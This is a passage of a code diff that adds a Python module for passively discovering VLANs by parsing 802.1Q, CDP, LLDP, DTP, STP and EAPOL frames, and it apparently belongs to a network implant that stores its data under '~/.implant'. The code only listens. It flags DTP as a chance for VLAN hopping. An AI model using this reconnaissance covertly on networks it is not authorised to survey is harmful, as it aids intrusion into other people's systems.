VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT DO NOTHING
""",
(src_ip, dst_ip, src_port, dst_port, proto,
flow_data["bytes_total"], flow_data["packets"],
flow_data["first_seen"], flow_data["last_seen"],
int(flow_data.get("is_beacon", False))),
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d flows", len(flows_snapshot))
+432
View File
@@ -0,0 +1,432 @@
#!/usr/bin/env python3
"""VLAN discovery — 802.1Q tag detection, DTP/CDP/LLDP/STP parsing.
Passively identifies VLAN infrastructure by parsing layer-2 control protocols.
Detects 802.1Q tagged frames, DTP trunk negotiation, 802.1X/EAPOL NAC,
CDP/LLDP neighbor announcements, and STP BPDUs.
"""
import logging
import os
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Ethertypes and protocol IDs
ETHERTYPE_8021Q = 0x8100
ETHERTYPE_8021AD = 0x88A8 # QinQ
ETHERTYPE_EAPOL = 0x888E
ETHERTYPE_LLDP = 0x88CC
# CDP/DTP use SNAP encapsulation with LLC header (DSAP=DSAP=0xAA, SSAP=0xAA, ctrl=0x03)
# CDP OUI: 0x00000C, protocol: 0x2000
# DTP OUI: 0x00000C, protocol: 0x2004
# STP uses LLC (DSAP=0x42, SSAP=0x42)
# CDP TLV types
CDP_TLV_DEVICE_ID = 0x0001
CDP_TLV_ADDRESS = 0x0002
CDP_TLV_PORT_ID = 0x0003
CDP_TLV_CAPABILITIES = 0x0004
CDP_TLV_SOFTWARE_VERSION = 0x0005
CDP_TLV_PLATFORM = 0x0006
CDP_TLV_NATIVE_VLAN = 0x000A
CDP_TLV_MANAGEMENT_ADDR = 0x0016
# LLDP TLV types
LLDP_TLV_END = 0
LLDP_TLV_CHASSIS_ID = 1
LLDP_TLV_PORT_ID = 2
LLDP_TLV_TTL = 3
LLDP_TLV_PORT_DESC = 4
LLDP_TLV_SYSTEM_NAME = 5
LLDP_TLV_SYSTEM_DESC = 6
LLDP_TLV_MGMT_ADDR = 8
_DB_INIT = """
CREATE TABLE IF NOT EXISTS vlans (
id INTEGER PRIMARY KEY AUTOINCREMENT,
vlan_id INTEGER NOT NULL,
name TEXT DEFAULT '',
source TEXT NOT NULL,
switch_name TEXT DEFAULT '',
switch_port TEXT DEFAULT '',
first_seen REAL NOT NULL,
UNIQUE(vlan_id, source, switch_name, switch_port)
);
CREATE INDEX IF NOT EXISTS idx_vlans_vlan_id ON vlans(vlan_id);
"""
FLUSH_INTERVAL = 30
class VLANDiscovery(BaseModule):
"""Passively discover VLANs via 802.1Q tags and L2 protocol parsing."""
name = "vlan_discovery"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
self._stats = {
"dot1q_frames": 0,
"cdp_frames": 0,
"lldp_frames": 0,
"dtp_frames": 0,
"stp_bpdus": 0,
"eapol_frames": 0,
"vlans_found": 0,
"packets_processed": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("VLANDiscovery requires _capture_bus in config")
return
# Broad filter: we need 802.1Q (any ethertype), CDP/DTP (SNAP), LLDP, STP, EAPOL
# Compile a catch-all because these span multiple ethertypes and LLC frames
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="", queue_depth=3000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-vlan-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-vlan-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("VLANDiscovery started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus and self._sub_queue:
self._capture_bus.unsubscribe(self.name)
if self._read_thread and self._read_thread.is_alive():
self._read_thread.join(timeout=5.0)
if self._flush_thread and self._flush_thread.is_alive():
self._flush_thread.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("VLANDiscovery stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
"""Read packets from capture bus and dispatch to parsers."""
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_frame(pkt, ts)
except Exception:
logger.debug("Error processing frame", exc_info=True)
def _process_frame(self, pkt: bytes, ts: float) -> None:
"""Identify and dispatch frame to appropriate parser."""
if len(pkt) < 14:
return
dst_mac = pkt[0:6]
ethertype = struct.unpack("!H", pkt[12:14])[0]
# 802.1Q tagged frame
if ethertype == ETHERTYPE_8021Q or ethertype == ETHERTYPE_8021AD:
self._parse_dot1q(pkt, ts)
return
# LLDP
if ethertype == ETHERTYPE_LLDP:
self._parse_lldp(pkt, ts)
return
# EAPOL (802.1X)
if ethertype == ETHERTYPE_EAPOL:
self._stats["eapol_frames"] += 1
self._record_vlan(0, "eapol_detected", "", "", ts)
return
# Check for LLC/SNAP frames (ethertype field is actually length if < 0x0600)
if ethertype <= 0x05DC and len(pkt) >= 22:
self._parse_llc_snap(pkt, ts)
def _parse_dot1q(self, pkt: bytes, ts: float) -> None:
"""Parse 802.1Q tagged frame to extract VLAN ID."""
if len(pkt) < 18:
return
tci = struct.unpack("!H", pkt[14:16])[0]
vlan_id = tci & 0x0FFF
if vlan_id > 0:
self._stats["dot1q_frames"] += 1
self._record_vlan(vlan_id, "802.1q", "", "", ts)
def _parse_llc_snap(self, pkt: bytes, ts: float) -> None:
"""Parse LLC/SNAP encapsulated frames for CDP, DTP, STP."""
# Minimum: 14 (eth) + 3 (LLC) = 17 bytes for STP check
if len(pkt) < 17:
return
dsap = pkt[14]
ssap = pkt[15]
ctrl = pkt[16]
# STP BPDU: DSAP=0x42, SSAP=0x42
if dsap == 0x42 and ssap == 0x42:
self._parse_stp(pkt, ts)
return
# SNAP: DSAP=0xAA, SSAP=0xAA, Ctrl=0x03
if dsap == 0xAA and ssap == 0xAA and ctrl == 0x03 and len(pkt) >= 22:
oui = pkt[17:20]
proto = struct.unpack("!H", pkt[20:22])[0]
# CDP: OUI 0x00000C, protocol 0x2000
if oui == b'\x00\x00\x0c' and proto == 0x2000:
self._parse_cdp(pkt[22:], ts)
return
# DTP: OUI 0x00000C, protocol 0x2004
if oui == b'\x00\x00\x0c' and proto == 0x2004:
self._parse_dtp(pkt[22:], ts)
return
def _parse_cdp(self, payload: bytes, ts: float) -> None:
"""Parse CDP TLVs to extract switch name, port, VLAN, platform."""
if len(payload) < 4:
return
self._stats["cdp_frames"] += 1
# CDP header: version(1), TTL(1), checksum(2)
offset = 4
device_id = ""
port_id = ""
platform = ""
native_vlan = 0
while offset + 4 <= len(payload):
tlv_type = struct.unpack("!H", payload[offset:offset + 2])[0]
tlv_len = struct.unpack("!H", payload[offset + 2:offset + 4])[0]
if tlv_len < 4 or offset + tlv_len > len(payload):
break
tlv_data = payload[offset + 4:offset + tlv_len]
if tlv_type == CDP_TLV_DEVICE_ID:
device_id = tlv_data.decode("ascii", errors="replace").strip('\x00')
elif tlv_type == CDP_TLV_PORT_ID:
port_id = tlv_data.decode("ascii", errors="replace").strip('\x00')
elif tlv_type == CDP_TLV_PLATFORM:
platform = tlv_data.decode("ascii", errors="replace").strip('\x00')
elif tlv_type == CDP_TLV_NATIVE_VLAN and len(tlv_data) >= 2:
native_vlan = struct.unpack("!H", tlv_data[:2])[0]
offset += tlv_len
if native_vlan > 0:
self._record_vlan(native_vlan, "cdp", device_id, port_id, ts)
if device_id:
self.bus.emit("VLAN_DETECTED", {
"source": "cdp",
"switch_name": device_id,
"switch_port": port_id,
"platform": platform,
"native_vlan": native_vlan,
}, source_module=self.name)
def _parse_dtp(self, payload: bytes, ts: float) -> None:
"""Parse DTP frames — Cisco VLAN trunk negotiation."""
self._stats["dtp_frames"] += 1
# DTP presence alone is noteworthy (trunk negotiation active)
self.bus.emit("VLAN_DETECTED", {
"source": "dtp",
"detail": "DTP trunk negotiation detected — VLAN hopping may be possible",
}, source_module=self.name)
def _parse_lldp(self, pkt: bytes, ts: float) -> None:
"""Parse LLDP TLVs for system name, port description, management address."""
if len(pkt) < 16:
return
self._stats["lldp_frames"] += 1
# LLDP payload starts after Ethernet header (14 bytes)
offset = 14
system_name = ""
port_desc = ""
mgmt_addr = ""
while offset + 2 <= len(pkt):
tlv_header = struct.unpack("!H", pkt[offset:offset + 2])[0]
tlv_type = (tlv_header >> 9) & 0x7F
tlv_len = tlv_header & 0x01FF
offset += 2
if tlv_type == LLDP_TLV_END or offset + tlv_len > len(pkt):
break
tlv_data = pkt[offset:offset + tlv_len]
if tlv_type == LLDP_TLV_SYSTEM_NAME:
system_name = tlv_data.decode("utf-8", errors="replace")
elif tlv_type == LLDP_TLV_PORT_DESC:
port_desc = tlv_data.decode("utf-8", errors="replace")
elif tlv_type == LLDP_TLV_MGMT_ADDR and tlv_len >= 6:
addr_len = tlv_data[0]
addr_subtype = tlv_data[1]
if addr_subtype == 1 and addr_len >= 5: # IPv4
addr_bytes = tlv_data[2:6]
mgmt_addr = ".".join(str(b) for b in addr_bytes)
offset += tlv_len
if system_name:
self.bus.emit("VLAN_DETECTED", {
"source": "lldp",
"system_name": system_name,
"port_desc": port_desc,
"mgmt_addr": mgmt_addr,
}, source_module=self.name)
def _parse_stp(self, pkt: bytes, ts: float) -> None:
"""Parse STP BPDU to extract root bridge ID and priority."""
# LLC header at 14, STP BPDU starts at 17
if len(pkt) < 38:
return
self._stats["stp_bpdus"] += 1
bpdu = pkt[17:]
if len(bpdu) < 21:
return
# Protocol ID (2), version (1), type (1)
proto_id = struct.unpack("!H", bpdu[0:2])[0]
if proto_id != 0x0000:
return
# Flags (1 byte at offset 4)
# Root bridge ID: 8 bytes at offset 5 (priority 2 bytes + MAC 6 bytes)
if len(bpdu) >= 13:
root_priority = struct.unpack("!H", bpdu[5:7])[0]
root_mac = ":".join(f"{b:02x}" for b in bpdu[7:13])
# Bridge ID: 8 bytes at offset 13
bridge_priority = struct.unpack("!H", bpdu[13:15])[0] if len(bpdu) >= 15 else 0
self.bus.emit("VLAN_DETECTED", {
"source": "stp",
"root_bridge_mac": root_mac,
"root_priority": root_priority,
"bridge_priority": bridge_priority,
}, source_module=self.name)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "vlan_discovery.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_vlan(self, vlan_id: int, source: str, switch_name: str,
switch_port: str, ts: float) -> None:
"""Buffer a VLAN record for batch insert."""
with self._buffer_lock:
self._write_buffer.append((vlan_id, "", source, switch_name, switch_port, ts))
def _flush_buffer(self) -> None:
"""Write buffered records to SQLite."""
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO vlans (vlan_id, name, source, switch_name, switch_port, first_seen)
VALUES (?, ?, ?, ?, ?, ?)
ON CONFLICT(vlan_id, source, switch_name, switch_port) DO NOTHING""",
batch,
)
new_count = len(batch)
self._stats["vlans_found"] += new_count
except Exception:
logger.exception("Failed to flush VLAN records")
def _flush_loop(self) -> None:
"""Periodically flush write buffer to disk."""
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")